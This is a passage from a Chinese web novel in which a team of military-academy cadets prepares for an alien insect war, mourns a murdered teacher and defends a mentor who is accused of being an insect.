夕阳漂亮的惊人,绯红伴着紫色在云层中氤氲而出,云层层叠叠都是深浅不同的色块。 这样美丽的夕阳在此刻是他的私有。 不知道还能再看多少次夕阳。 他凝望着生怕错过一刹,不愿意眨眼。 林清澜轻叹一声,站起来走到窗下,他消瘦的背影与夕阳融为一体,像是要与它一起消逝一般。 包厢门开了又关,菜肴很快又放满了桌子,食物的香气铺满整个包厢。 林清澜没有再回头。 时循夹菜的动作顿了顿,目光静静地落在林清澜身上很久。 “快吃啊小殿下!刚上的,你停这半晌颂千纱都吞了半条鱼了!”齐焦在食物争夺战中抽空给时循夹了两筷子。 时循的目光在窗子处停了片刻,最终还是没有开口喊他,敛眸望向碗里的鱼尾巴,继续吃了起来。 林清澜似有所感,回头往了一眼,正好望向时循埋头吃着鱼尾。 他们目光正好错过,在空气中错峰穿行。 林清澜望着几步之外的喧嚣场景。 热闹的饭桌里,时循融入的很好。 没有他。 他脸色苍白,转身再次望向夕阳。 可夕阳转瞬即逝,等林清澜再次转过头,姹紫嫣红的景色已经不见。 目光所及,全都染上一层淡淡的灰。 几人在天黑以前吃完了饭。 酒足饭饱后歇了一会儿,与往常的热闹不同,几人都不约而同地沉默,心事重重。 周之旭一拍脑门,就邀请五人下楼散步。 “这里好开阔,旁边海风吹着也很舒服。”齐焦满足的谓叹。 六人走在辽阔的大道上,沉默地观察着面前的景色。 一旁是蔚蓝的海,他们沿着海边走着,身旁还有许多游客与他们一起参观。 这里是市中心有名的景点,几乎所有来首都星参观的人都要来此。 周围喧嚣的人流比海更像浪潮,有时聚,有时散。 有老人牵着机械狗在缓步走着,也有抱着小孩的成人望着彼此,大部分还是三两结伴的朋友出行,嘴里叽叽喳喳的一刻不停,甚至还有青年男女在此刻求婚。 颂千纱望着面前美好,又蓦然想起脚下的大地正在一寸寸被虫族入侵。 这看似最安全的繁荣的星球里,没人知道末日已悄然降临。 她吐了口气,扫视身旁的队友们,此时六人脸上都带着不同程度的复杂。 “有没有办法……能阻止在虫族?”周之旭问的很轻,轻到像是一句叹息。 没人愿意撕破眼前的美好。 “有,杀了虫母。”胤允回复的没什么感情。 他本就不被眼前的景象触动。 胤允没有看海,只望着颂千纱带着忧色的红眸。 “校园赛时,虫母一定会破茧,那时有机会。”林清澜抬眸,也说的很轻,“她主动破茧前,无人能破她的防御。” 几人回头看他,面上都带着紧绷地望向四周。 时循环顾四周,见周围无人注意,最后转头望向他:“这么重要的事为什么现在才说?” 林清澜点了点太阳穴,意思是脑中虫族的信息。 他苦笑一声,把双手放进口袋里,望向时循:“我也刚刚知道。” “别担心,我刚刚已经开了隔音功能。”颂千纱冲着几人眨眼。 “新改良吗?”林清澜开口问。 颂千纱点头,从粒子环拿出个新的隔音球:“是单个就能覆盖几平方米以内的对话,只要没人挤进来。” 林清澜望着手里的新版隔音球良久,后又递了回去。 “挺好的。” 作者有话说:23w字了。 祝大家元宵快乐!团团圆圆! 第67章 六人在散步后回了星宇楼,包厢内一片安静。 他们坐在落地窗下望着地面,表情都带着凝重。 星宇楼位于这个城市最繁华的地段,楼下依旧鼎沸,笑脸洋溢在每个人身上,仿佛这里是一个巨大的乌托邦。 周之旭倏然出声:“明天早点去训练吧?去我家的训练室。” 他半靠在落地窗前,歪着头看向地面。 “好。”时循答应的很快,这件事没什么需要思考的地方。 她转头望向远处的半倚在墙壁上的林清澜,他离五人的距离不远不近,是个既不会融入她们,也不会走的观摩距离。 “林老师,现在身体怎么样?”时循这么久以来第一次主动关心林清澜,所有人的目光都不自觉被她的声音吸引而去,望向二人。 众人都兴致勃勃,使得林清澜的心跳先于他一步失控。 他怔了一瞬,眼睛滑过一丝光亮,随即又很快熄灭,他垂着眸回答道:“足以支撑半年训练,我已经为你们每个人定制了计划,不过……” 他轻叹了一口气,苦笑道:“林淼的系统已经被我之前交给洛家一半,早上把洛家的权限清出来后,林淼暂时用不了了。” 林清澜话音刚落,时循便丢了一个光脑过去。 “以后用这个。” 林清澜摩挲着手中光脑,垂着头,长卷发挡住了他脸上的神情。 他将目光垂落在光脑上,良久。 “好。”他声音带了些嘶哑。 凌晨一点。 四人在落地窗前呆坐到了很晚,谁也不愿意去睡觉。 胤允和颂千纱回来后屁股往沙发上一座,闭眼就呼呼大睡,四人眼中了然。 一半是因为心情,一半是因为睡着的二人,这一晚她们的话异常的少。 周之旭的手指在玻璃上敲了两下,下面热闹的烟火气像一条缓慢而热涌的河。 “我们还有什么能做的吗?”他的声音有些彷徨。 齐焦轻轻吐气,站了起来:“联系林上校,然后让你姐去周旋,剩下就是训练,养精蓄锐,这就是我们应该做的。” 话毕,她拍了拍手,站了起来往房间走去,扬声道:“睡觉了。” 时循望着她的背影良久,低头勾唇,也站了起来:“说的也没错。”- 颂千纱和胤允二人早早地就睡着在了沙发上,醒来时已空无一人。 她睁眼时,胤允靠睡在她身下。 颂千纱凑近观察。他头枕着沙发,闭着眼,眉头微蹙着,优越的骨相伴着月华,带着几分不怒自威的凶意。 她嘴角勾起一抹笑意,撑起身子准备起身,却被一只手给捞了回去。 二人的位置瞬间调换,从胤允搂着她的腰,眼含笑意地盯着她:“小花,抓包喽。” 颂千纱嗔他一眼,推开他坐了起来。 “你脑子里有封印?” 颂千纱问完,原本带着清甜的气氛骤然凝固。 胤允表情瞬间收敛,他张了张口,眼神晦涩难懂。 颂千纱等待了半晌,最后听见胤允轻轻地回了一声是。 “这个封印会因为虫母的声音而松动。”颂千纱这次是陈述句。 “嗯。” “怎么来的?”她又问。 胤允瞥向颂千纱,想要开口,可酝酿了半晌,望向颂千纱担忧的眼神时,又凝固在喉咙间。 他的肩胛垂了下来,耷拉着眼,“我没完全恢复记忆,暂时不确定。” 胤允的表情更加莫测,金眸中露出凶光。 颂千纱与他对视了半晌,垂眸问道:“那现阶段回复了多少?” “百分之五十。” 她沉吟了一会儿,继续问:“只封了记忆?” 胤允把她望自己的腿上揽,熟练地蹭向颈侧:“嗯,我有预感,这段记忆与我们来到这里的目的有关,不急。” 颂千纱眼瞳红光闪烁,她伸手捏住他的下巴,迫使他张口,露出伴生纹。 舌根的伴生纹感受到了颂千纱的能力,开始发烫。 她另一只手伸进他的口腔,伸向伴生纹。 胤允抬眼往她,舌头勾着她的指尖,逃避着她不断向前的指尖。 她的面色无异,停下动作望胤允:“胤允,我要检查你的能力。” 话毕,颂千纱手指变得强势,眼中红光大盛。 “唔……”他闷哼了一声。 红光在空中逐渐微弱下来,颂千纱眉头越蹙越紧,嘴里喃喃:“百分之七十……” 话毕,她的手指顿了顿。 胤允抱着她没说话,只是垂着眼。 窗外太阳与月亮正在交班,二者同时出现在窗前。 “时间不多了。” 颂千纱缓缓松开手,脑袋搭在他的肩上。 胤允一下下拍着她的背,用脸颊蹭了蹭她的发顶。 “没关系。”- 三个月后。 克林迪斯军校与打斗场彻底切割,而军校的训练场上灯火不灭。 帝辉军校与打斗场宣布高度合作。 林斯福上校宣布重返政界,周家暗中支持。 原本动摇不已的军心在林斯福返政后变得稳定许多,所有官员躬身欢迎。 与此同时,克斯尔星的虫族活动突然减少。 军方记录显示,过去三个月,虫族从地表消失,像是在等待着什么。 六个月后。 总统选举期即将来临。 林斯福与周家彻底结盟,与时家分庭抗礼。 各大媒体平台循环播放着林斯福的演讲。 他手段刚硬,强制要求全员皆兵,宣布人族已彻底被入侵,让所有人做好作战准备。并公开指控台前官员贪腐成性。 此话一出,他几乎与所有官员势同水火,整个联盟政局彻底撕裂。 同月,学院赛如期举行。 来自各大军校的学生齐聚首都星。 林斯福派遣派遣了四个军团助阵,并称这将是黑暗前的黄昏,战争前的号角。 所有官员在采访中纷纷表示危言耸听,不少群众亦觉得小题大做。 但军方的数据观测记录显示,克斯尔星外皇虫数量,在短短一周以内增加了近乎一倍- 这次的比试建立在第一军团的试炼场。 “这里也太晒了,又困又累……” 颂千纱耷拉着眉眼,手里打着伞。 齐焦十分嫌弃地瞥了眼颂千纱:“你要是不拖到最后一周才把积分弄到第一,你一定没有这么忙,我说。” “……我都通宵累成这样了,你还要说我!”颂千纱蹙着眉,可怜巴巴地望着齐焦。 “你的坐骑都没喊累呢。”齐焦和时循摇了摇头。 胤允正背着颂千纱。 脖子上挂着颂千纱喜欢的饮料,头上顶着扎着大红花的沙滩帽,带着个明显小了不少的眼镜,手里捏着颂千纱的外套,肩上跨着她今天搭配的特大包。 包里面空空如也,至于这些为什么不能放进粒子环? 因为这是颂千纱的ootd,一会儿是要穿起来的。 “……你累吗?”颂千纱歪头问胤允,伸长脖子吧唧一口亲在他的脸上。 “不累,很幸福,她们不懂为妻子服务的荣耀。”胤允嘴角越弯越高,满脸得意。 “……”时循不说话,只是一味的拍照,把光脑打的啪啪作响。 “妻奴——腻死了!”齐焦故意把每个字咬的又慢又圆,声音忽高忽低。话毕,她从粒子环拿出一卷胶带,望向时循:“需要吗?” 时循嗤笑一声,头也不抬:“他再说这种话就两个人一起沾上。” 笑得颂千纱前俯后仰。 四人交谈声刚刚落下,身后一个高大的身影就追了过来赶上了几人,他脸上还带着明显的睡痕,手里提着包,从前往后看,那人高大的像是一座小山。 “你们怎么不喊我啊,差点没赶上!”周之旭从颂千纱手里接过了伞,一脸狗腿相:“颂姐,能不能帮我把昨晚时循揍我时候的机甲手指修一下?” “周哥,你的机甲怎么又坏了,不是前天才修吗?”齐焦往嘴里塞了颗奶糖,她最近迷上了奶糖味。 “这个月刚过半,纱纱已经帮他修了二十一次了。”胤允背着颂千纱,往右侧望了眼这狗腿,眼神很凉。 周之旭心虚地把眼神飘向四处,露出憨厚的笑意:“嘿嘿,循姐太强了,忍不住想和她切磋嘛。” “等一会儿到卧室了帮你看看,正好我也有个新研究要帮你们三个人改装机甲。”颂千纱点头答应。 “三个,又给胤允开小灶了。” 齐焦一脸受伤,夸张地眨巴着眼望着颂千纱。 颂千纱回应了她一个夸张的心虚,疯狂眨眼咬唇。 两人被自己逗的要命。 时循终于把头从光脑上抬起,走在最前面领路,“去给我们学校指定的位置找老师汇合吧。” 离集合时间还有一会儿,五人走的并不快,观察着军团内的景色。 明媚的上午,阳光斜着洒在她们的头顶,并不热辣,因为是秋天,微风追动着发丝,她们的影子背连成一片。 五人黏着彼此走在一起,半年时间,她们的关系看起来比之前要紧密许多。 正走着,前面忽然有嘈杂的声音逐渐响起,让颂千纱不禁好奇起来。 “前面好像有什么热闹可以凑,我听见有人尖叫——”话刚说到一半,颂千纱的笑容凝固在了脸上:“好像是打起来了!” 五人面面相觑,表情惊疑。 “是虫族吗?这么快?”周之旭眼中带着惊诧。 话毕,五人的脚步同时快了起来。 议论声伴着风声越来越近,议论和恐惧的声音同时涌入耳朵,让几人原本松散的表情逐渐凝固了起来。 “快,去看看!”时循沉声加速。 “虫族——”“我的天哪!居然把我们的老师全部抓走了!我们怎么办!” “林清澜也是虫族?!” “怎么可能?!他不是和林上校是亲戚吗?!” “天啊!” “林清澜!你作为林上校之子!居然和刚刚的人一样是虫族?!” 她们快速穿过院墙,广场上的声音逐渐清晰起来,五人的脚步不约而同地凝固在了原地。 人群围成一个巨大的圆,层层叠叠,几乎把整个中央堵死,中间有不少高大的身影,是机甲。 她们一层层推开,挤了很久,终于到了中心。 好几个学校的学生在中心穿上机甲,用枪警惕的指着林清澜。 林清澜脸色灰白,跪坐在地上,他的手里抱着的席辉年奄奄一息。 席辉年几乎没有呼吸,肚子上的血在汩汩往外流,林清澜的手在发抖。 “老头!!”齐焦失声扑了过去。 作者有话说:前段时间的buff是好忙,这段时间的buff是好累TAT,快完结好想休息。已经想好下一本想写什么了 第68章 林清澜手里的治疗剂不要钱似的往席辉年伤口处浇灌,但无济于事。 粉红色的药液顺着伤口流下,伤口一边愈合,一边溃烂,几息时间,席辉年的呼吸越来越轻。 林清澜手上的治疗剂比不上席辉年伤口溃烂的速度。 席辉年的眼珠微转,望向五人,费力的张了张口,却没说出话来,他叹了口气。 “席老师!” “席主任!” 众目睽睽下,五人完全不掩藏实力,全向林清澜处疾驰。 “别去!你们老师是被虫族打死的!林清澜也是虫族!”一个身着白金色校服的男生伸手想要拦住时循,被她侧身躲,速度不减。 可五人才刚刚虫到席辉年身边,他的胸口忽然停住了。 席辉年合上了眼。 男生表情里全是惊诧,好一段时间才抬眸,不忿地冲着她们喊道:“林清澜是虫族!他的手异变了!循!” 他的声音响彻广场,让周围人都如梦初醒一般,惊叫着退后了许多,上了机甲的几人都扣紧扳机。 有些胆子小的,已经跑了,剩下的也紧握着机甲。 林清澜全然没管周围直指着他脑袋的,黑漆漆的枪管。他呼吸破碎,眼圈通红,几乎是咬着字哽咽地喊道:“席叔!” 广场上的气氛因为克林迪斯五人的气氛而变得更加嘈杂,议论评判着五人的行为。 时循垂眸走到林清澜身边,望了席辉年半晌,抿着唇拍了拍林清澜的肩膀安慰。 “循!你别靠近他!”那名身着白金色校服的男生像是烟雾警报器一般,只要时讯离林清澜近,就不停地报警。 甚至再次伸手想要拽住时循。 时循再次侧身躲开,微微蹙眉。 “时讯,你空口白牙就污蔑我克林迪斯的老师,帝辉军校与时家就是这么教育你的吗?” 时循的声音不大不小,正好让场上的所有人听见。 时讯的脸色变得难堪,他不可置信地望向时讯,像是第一天认识时循一般。 他压着声音指向林清澜,低声喝道:“表姐?!你这样说我?!又是为了这个林清澜?!” 时循面无表情地望着他,往林清澜身前站了两步,意思很明显。 广场上嘈杂的人声安静了半晌,后又爆发出极强的议论声,更胜过刚刚,似乎没人注意时讯的控诉。 “他刚刚人手变成了虫足!” “天啊!真的假的!” “非常恐怖!亲眼看到的吗?” “我也看见了,他就是虫族!” “他刚刚和那只掠人的虫族站在一起!那虫族还停顿了许久!像是在和他交流!” “……” 众学生的议论的音量一句大过一句,阳光下,她们都抿着唇,强装镇定低望向林清澜,手中不约而同握紧机甲,有人准备作战,有人准备逃跑。 克林迪斯六人对此反应甚微,林清澜站了起来,径直往营地处走去。 可他走一步,那几架机甲就逼近一分,直到完全拦住他的脚步。 几个离林清澜近的机甲大声呵斥:“虫族!停下你的脚步!” 林清澜脸上的表情更淡,眼中的情绪却分外汹涌,他猛地望向面前的机甲,表情逐渐阴鸷。 在林清澜准备动手的前一秒,有两声清脆的,子弹上膛的声音。 “咔哒——”是胤允和周之旭上了机甲,机甲正用枪指着对面。 林清澜明显怔忪了片刻,神情有些恍惚。 “放下枪,不然你死的比他更快。”胤允的声音淡淡,从声筒中传了出来。 他的机甲姿势懒散,枪却直直地指在面前人的驾驶舱方向,周之旭也如出一辙。 周围哗然了一瞬,几乎所有学生都目瞪口呆地望着克林迪斯的几人。 时讯此时已不再执着拉着时循后撤,而是不可置信地退后两步,也拿出了自己的机甲:“你们,不会要坚持站这个虫族吧?这可是之前一直在普及宣传的人形虫族!对我们来说十分危险!” “难道你们克林迪斯依旧投靠了虫族?!”时讯话音刚落,几乎所有群众都开始附和他。 时讯蹙着眉,满脸看脏东西的架势,喊叫道:“要证明你门不是,就把枪对准他,杀了这个虫族啊!” 克林迪斯无一人听从,似乎没人有心思反驳,只是场上又多了一架齐焦的机甲。 五人把林清澜围在中间,林清澜垂着头,表情忽明忽灭。 气氛一时僵持不下,人们议论和质疑的浪潮被越说越高。 在人声鼎沸的声浪中,一声清脆的女声响起。 “井底之蛙。” 颂千纱抱着臂望着时讯,没有笑意的面上全是轻蔑和嘲讽。 众人被她的动作弄得一愣,窃窃私语起来。 周围的声浪小了些,但很快又变大,许多人对她的轻蔑都产生了不适。 林清澜分明就是联盟提出的人形虫族! 质疑声不断响起,众人的情绪愈发高涨。 时讯蹙着眉,忍不住冲着颂千纱大喝:“你骂谁呢?我好心好意提醒你们,你骂我?!” “我没骂你啊,这是事实。”颂千纱冷笑一声。 席辉年的死给克林迪斯每个人心中都裂开了一条缝,有的大有的小,从她们的表情就能看出来。 “你别以为——”反驳的话时讯还没说完,一个与刚刚如出一辙的虫足再次落了下来。 “砰!” 正正好砸在时讯的两脚之间。 地板明显震颤了一瞬,在场所有人都感受到了。 与刚刚不同的是,颂千纱没有如林清澜刚刚一样迅速收回。 而是把这虫足砸在众人面前,任人观摩。 周之旭瞥向众人的反应,与几个队友相互对视了一眼,见所有人眼中都带着的惊诧后,他瞥了眼林清澜,后第一个把机甲收了。 林清澜抿着唇,手藏在袖子里控制不住地发抖,望向那虫足的表情深邃又复杂,眼圈红的吓人。 时讯吓得忍不住跌坐到了地上,表情惊恐:“你!你也是!” “所以我说——”颂千纱一步步朝时讯走去,一字一顿:“你是井底之蛙。” 她眼中的轻蔑毫不掩饰,仰着下巴俯视时讯。 颂千纱倨傲的表情被阳光衬得更加生动灵巧,红色的眼睛谣言的如同宝石一般。 过了半晌,众人终于把视线从她的脸上移到了这瞬发虫足之上。 “这,是机械臂?!”一个蓝色校服的男声从剥开众人上前观察,他眼神里全是震惊。 他的视线几乎黏在了这个上面,甚至忍不住上手抚摸。 许久,才回过神来。 接着,连忙道歉自己刚刚直接上手的行为不礼貌。 “这是真虫足?!”蓝色校服的男生道完歉,就从粒子环取出一副眼镜带上贴着观察。 “内部构造也用的是虫足的骨头?!这是谁做的机械臂?!”他猛地抬头,忍不住再次感叹:“这人是天才吧?!” 颂千纱神情淡淡:“我做的。” 那蓝色校服的男声猛地抬头,蹙着眉,满脸惊诧。 观察了半晌后,他的惊诧全化为疑惑:“你是克林迪斯的新人?” “不只是新人,还是黑马。”颂千纱面无表情地看着他说,眼神笃定。 “……名副其实。”蓝色校服的男声摩挲着下巴观察,半晌后点头称是。 周围一片哗然,包括时讯。 二人旁若无人地寒暄了半晌,没有交换姓名。 不多时,她又侧目把目光落在时讯身上,再次开口嘲讽:“井底之蛙。” 胤允抱着臂居高临下的望着时讯,站在颂千纱身后,影子笼罩住了时讯整个人。 颂千纱的表情如出一辙,但眉宇间带着明显的戾气,从嘴里蹦出两个字,气势逼人:“麻瓜。” “……”时讯瞥了眼蓝色衣服的男生,终究是没有出声。 场上在此时终于恢复了嘈杂,所有学院的学生都不约而同地拿出了手机拍摄。 不管是这个新人强劲的实力,气势异常逼人的胤允,都是今晚将引爆学院赛的话题。 “走吧。”时循开口道,她再次拍了拍林清澜的肩膀,后与他并排走在最前。 身后的四人跟上,齐焦沉默地抱着席辉年的尸体,面无表情,浑身散发着山雨欲来的气势。 克林迪斯的气氛让所有人不自觉地让出一条道,任由她们往房间走去。 她们六人前脚刚走,士兵们才姗姗来迟,仿佛这次的直逼学生安全的虫族袭击事件并不是什么值得一提的事,对着一众学生开始打哈哈。 又过了一会儿,一支整装严肃的部队忽然从上方航行舰处跳了下来,严肃周正地处理着学生的情绪,并开始指挥学生们先撤回宿舍。 两只军队很显然不属于一拨人。 席辉年的血一滴一滴的落在地上,就如同他为六人铺路一般,陪着几人走完了最后一程路。 没有人说话,只有脚步声回荡在几人的耳边- 不久后,林清澜带着几人七弯八绕,站在林斯福办公室。 “席老师死了。”林清澜望着林斯福,眼神空洞而无助。 林斯福望着齐焦手里,已经有些灰白的席辉年,表情有些恍惚。 半晌,林斯福终于开口。 “我从监控里看到了,他抵抗太过,不愿被掠走,被一只完全虫族化的人脸虫族杀的。” “如果我猜的没错……”他佝偻着,从座椅上站了起来,缓缓望向五人:“应该是颂千纱胤允二人在打斗场遇到过的那位。” “西斯。” 作者有话说:回到了工作的地方,许愿尽快恢复精神状态,恢复到不被掏空的状态 第69章 几人从办公室出来时,表情是不同程度的凝重。 身后有几个白衣服的医护人员往办公室里面赶去,显然是为了收拾席辉年的身体。 “林上校特批你们这一击不用再返回广场听开幕,让所有学校都提前休息一翻。”林清澜倏然开口。 周之旭一脸古怪,不知道为什么林清澜要把办公室里的话再重复一遍。 他似有所觉,正欲转头往后看,被胤允狠拍了一下后脑勺,霎时间回过神来。 “谢谢林老师,那您和我们一起回去吗?”颂千纱瞥向林清澜。 “我会与你们一起去看看寝室是否安全,住在你们附近处。”林清澜再次扬声:“晚上不要乱跑,知道吗?” “是。” 六人登记后就往里走,军区给比赛的主力队安排的集体宿舍很大,一层只有两户。 主力队其实彼此住的很近,帝辉军校甚至与克林迪斯就在同一层。 开门时,正好遇到了帝辉军校的一名女生,她冲着克林迪斯六人冷哧一声,把门关的巨响。 六人都没理她,注意力正关注着别的事。 身后那股莫名的注视一直跟至寝室门口,又诡异消失。 六人进了寝室后向后张望了一瞬,并无异常。 周之旭最后一个进,他顺手把门关上。门关上后,屋内安静的有些突兀。 齐焦与周之旭站在门边没动,双双附耳听着。 过了半晌,确认走廊上没有任何脚步声,才利落把门锁上。 林清澜侧身站开,给他们腾位置。 时循迅速掏出隔音球,覆盖整个房间后望向颂千纱。 颂千纱会意点头,灵宝天赋发动,她的视线迅速移动,从门框,灯管,窗帘,沙发,一寸寸掠过。 最后从宿舍的窗台处,找出一个隐蔽的摄像头,碾碎扔了出去。 胤允在此时动了起来,他金眸微闪,从床底下找出一个隔音屏蔽器,递给时循。 时循接过后翻看了一阵,从隐蔽处发现一个洛字。 她眼中滑过一丝冷意,望向周之旭,周之旭会意,接过屏蔽器,用力往窗外一掷。 “砰!”屏蔽器在空中划过一道完美的弧线,后挂在了几公里外的电线杆子上。 “好了。”颂千纱回答。 她们纷纷找了凳子坐下。 房间内沉默了一阵。 “你能用虫足了?是已经吞噬了吗?”时循从粒子环中拿了瓶水,又拿出了一个黑色红点的骰子。 她把水放在骰子面前。 经过半年多的演习与训练,她们几人都谨慎了许多。 这骰子是颂千纱做出另一种能检测虫卵的仪器,外观与骰子无异,如果附近有虫卵,骰子就会变成黑色,虫虫卵位置在一这面的朝向。 骰子叩叩几声落在桌上,不断转动着,它依旧是黑色红点。 停住时,一号点数那面直直正对着林清澜。 六人面色无异,时循拿着水,在骰子面前转了一圈。 骰子丝毫未动,直直指着林清澜。 确认瓶子里没有虫族,时循这才拿起水一口气喝了半瓶。 “没有主动吞噬,但那东西会主动在睡梦中与我融合。”林清澜唇色很白,垂着眸谁也不看,任凭骰子指向他。 “刚刚在办公室不好问,我很好奇,清澜。”时循瞥向他,语气平缓,“林斯福现在的局势本就不算稳,你在大庭广众之下做出这样的事,对我们非常不利。” “我不相信你是分辨不清局势的人,当时发生了什么?”话毕,时循从粒子环中拿出一瓶黄色营养液递给林清澜。 时循在这半年长了不少个子,她的五官依旧柔和,气质却愈发内敛。 林清澜抬眸与时循对视,他对这套恩威并施的语气异常熟悉。 半晌,他又匆匆把头瞥走,不再看她:“当时。” 他沉默了很久,回忆的很困难,指节在桌下不自觉地攥紧。 林清澜长长地吐了口气,捂住头努力回想:“当时我感觉脑中有什么让我燥动了起来,当时还能压制,看见席叔被伤后,我像是被召唤了一般,露出了那个东西。” 林清澜沉吟了一会儿:“我看见西斯并不意外我朝他攻击,很快就挡掉逃了,并且还露出得逞的笑。” “躁动?是不是一种声音?”颂千纱忽然开口:“一种古怪的呓语,也听不清是说了什么,但是就是让你心跳加速,头晕?” 林清澜蹙眉思忖了一会后,摇了摇头:“不,我只能感觉到我的血液在沸腾,然后身体不再那么受我控制。” 颂千纱与胤允对视一眼,在彼此眼中看见了然。 “是虫母的声音。”颂千纱心中笃定,但她的眉头蹙的更深,百思不得其解:“可当时我们离得不远,居然没听见。” “等等。”周之旭蹙眉:“虫母的声音?” “当时在打斗场,我们听见过虫母的声音。”颂千纱转头与他解释:“我听见会心跳加速,甚至头晕,甚至感觉到某种奇怪的鼓动,当时有个普通人直接七窍流血了。” 房间沉默了一瞬,他们都想起那日颂千纱和胤允二人那时的疲惫,不约而同地蹙起眉头。 “虫母已经醒了,这应该是她的某种能力。”胤允摸了摸颂千纱的脑袋,转头望向林清澜:“你当时看西斯的眉心是不是有个纯黑的虫族标记?” 林清澜回想了一阵,点头称是。 “那标记应该就是虫母赋予他的某种能力。”胤允解释道。 房间中变得安静,只剩窗外风吹响树叶的沙沙声。 “我还是没明白。”周之旭坐在凳子上撑着脑袋,眉头紧蹙。“虫族掳走老师的原因是什么?” “不知道,不过明天一定知道了。”齐焦的声音异常地冷。 明天学院赛开幕,也是他们推测中,虫族十分有可能与之开战的一天。 房间内没人再说话,眼中都带着前所未有的战意。 良久,林清澜主动打破了面前的气氛。 “对了,颂千纱。”林清澜望向颂千纱,勾唇笑得温和:“谢谢”颂千纱眨了眨眼,嘴角勾出一抹笑:“小事啦!很早就做了,只不过那个时候一直在赶作业,忘记拿给你看了。” 林清澜被她逗笑,他站了起来,又转头扫向五人,眼中带着感激与释然。 半晌,他深深鞠躬:“谢谢你们不知立场的情况下,也愿意站出来保护我。” 周之旭被他这隆重的样子吓了一跳,干嘛拉着他坐下:“干嘛!干嘛!我们是一个团队!我们当然要互帮互助了!” 林清澜被他拉着跌坐了回去,表情惊讶中带着无措,下一秒,林清澜面前再次出现了那只虫足,直愣愣地插在桌上。 “这个送你了!”颂千纱大手一挥,满脸自得:“这个形态多着呢,不止虫族。” 桌面被虫足贯穿,裂出一条深深的缝隙,看得周之旭张大嘴巴。 周围又安静了一瞬,接着,周之旭的声音带着幽幽的胆颤:“这能报损吗?” “……应该报不了。”齐焦回答。 颂千纱脸上出现一丝尴尬,下一秒,五人的目光都望向林清澜。 林清澜眨了眨眼,挂出一抹无奈的弧度:“我买单,走我私账。” 五个人的目光立马移开。 周之旭朝着林清澜竖起大拇指:“林老师大义!” 林清澜摇了摇头,他伸手拔出虫足后,试着与自己链接。 链接的很顺利。这能与手臂融合的机械臂惊能变换许多形态,甚至颜色,还能变成两把菜刀。 但这菜刀看起来并没有什么实际的战斗作用,林清澜眼中闪过一丝疑惑,他把菜刀立起来反复端详,想要找出什么特殊之处。 颂千纱见此,心虚地挠了挠头:“这个是当时太饿了想吃炒包菜随手做的。” “……”林清澜好奇的表情凝固在脸上,缓缓望向颂千纱。 窒息的尴尬。 “我要去给他们三个我机甲都加上这个。”颂千纱缩了缩脖子。 她迅速伸手朝三人讨要机甲。 三人交给颂千纱,她朝着客厅疾驰,假装忙碌迅速改装了起来。 林清澜沉默地望了眼不远处的颂千纱,把菜刀默默收了起来,换成别的。 胤允见颂千纱走了,他立马站起身朝面前四人点了点头,径直朝着颂千纱走了过去。 这二人自从官宣恋爱后,胤允黏着颂千纱的驾驶堪比一条饿了几万年见到肉的狗。 闻着味眼睛就移不开了。 时循撑着脑袋望了一会儿这二人的背影,出声道:“纱纱估计一个小时就装完了,到时候饭点正好去会会其他学校的人。” 该聊得已经聊的差不多了,到这里之后的计划几人在商讨过。 周之旭伸了个懒腰。 “我去洗澡了,自便。”时循收起隔音球与骰子,往里面的房间走去,路过齐焦时拍了拍她。 “……”齐焦望向身后正在往里走的时循。 时循站在门口,停了一下,回头望向齐焦。 “虫族一定会死。” 齐焦没说话,只是对她弯了弯唇:“我知道,他们离死不远了。” 话毕,齐焦站起来走向窗户,推开窗望向窗外的景色。 海岸线交织,把她的视线分成三个颜色,她望着海面,神情凝重莫测。 “哼!”不远处有个女声忽然响起:“怎么我们军校开窗你们也开窗?偷听战术啊?” 齐焦蹙了蹙眉往右望去,是刚刚进门时那个帝辉军校的女生。 齐焦勾出一抹笑,朝她挑了挑眉:“哦?你们在讨论对付我们的战术呢?” “你果然在偷听!”女声气急败坏地关上了窗。 齐焦轻笑,转头望向天空。 第70章 正值饭点,粉紫色的黄昏铺在海面上,远处的军区的灯即将打开,齐焦站在窗边没说话。 她面无表情地盯着即将开灯的地面,想着席辉年当初接她回家的样子。 正出神,忽然从背后被时循拍了一下。 “纱纱做好了,正喊大家过去呢。”时循倚在窗边,抱臂望着齐焦。 “好。”齐焦恍然回神,木着脸转身准备出门。 正走了两步,时循与她大步跨到她身侧,递给齐焦三颗奶糖。 “给你留的。” 齐焦低头望了眼掌心,三颗奶糖安安静静地躺在那里。 她微微愣神,望向时循依旧没什么表情的脸,嘴角勾起一丝笑。 齐焦望向手中的糖半晌,勾唇拆开糖衣塞进嘴里:“走吧,谢了。” 二人走到客厅时,周之旭正叽叽喳喳地试着机甲的新装备,原本只是四肢的手变换成了虫足,他兴冲冲地转头问林清澜:“林老师,能闻出来吗?” 林清澜扶额,面上显然有些无奈,嘴上却一句不落地回着周之旭:“嗯,闻不出来,虫族会以为是同类。” “颂千纱这个是不是能做到以假乱真了?”周之旭感叹。“我的天哪!太厉害了!” 他挥动着机甲上的虫足,倍感兴奋。 “这件装备会使他们愣住一瞬间,但是这一瞬间也足够做很多事了。”林清澜点头符合,凝视着手中的机械虫族。 齐焦和时循到了后与四人打了个招呼就上了机甲,各自试了试新装备。 齐焦眼中滑过一丝狡黠,她操纵着机甲变换成虫足,径直往时循的面门刺去! 时循脸色不变,像是早有预料一般,迅速切换武器,双手握剑,对着虫足猛地一挥! 时循的速度本就奇快,齐焦想要收回虫足已经来不及了。 “轰——”金属的碎裂声在客厅里回荡。 齐焦机甲右手的虫足被砍成两段,她迅速转身,用左手的虫足插在地上。 被砍断的半截虫足旋转着飞了出去,又拐弯飞回来赫然插在两人正中间,还发出微微铮鸣。 二人望着面前的虫族,动作同时僵在原地。 这个结果显然两个人都没有虫足被轻易斩断的心理准备。 此时,所有人的目光都集中在断裂的虫足上。 “不是!时循!我刚装好的你就给我砍断了!”齐焦晃了晃自己断了半只的虫足,跳脚道。 时循顿了顿,梗着脖子望向颂千纱:“纱纱……这个能修吗?” 话音落下后,空气变得安静。 “啧。”颂千纱坐在沙发上,手指一下一下地敲着膝盖,面无表情:“修是能修,但你们往地下看看呢?” 时循低头往下看去。 地板不知道什么时候裂了个大洞,还在往下落灰。 她刚想张口,就见与五个红白相间校服的学生正齐刷刷地抬头望着她。 是洛尔军校的主力队成员。 双方隔着洞口对视。 “咳咳!” “咳咳咳……” 洛尔军校有两个人坐在正中央,被灰呛得捂住了鼻子。 齐焦与时循对视了一眼。 “……嗨!洛尔军校的同学们好!”齐焦趴在洞口,笑容堆了满面,看起来极其自然:“你们晚上吃了吗?要不要一起去吃饭啊!” “……” 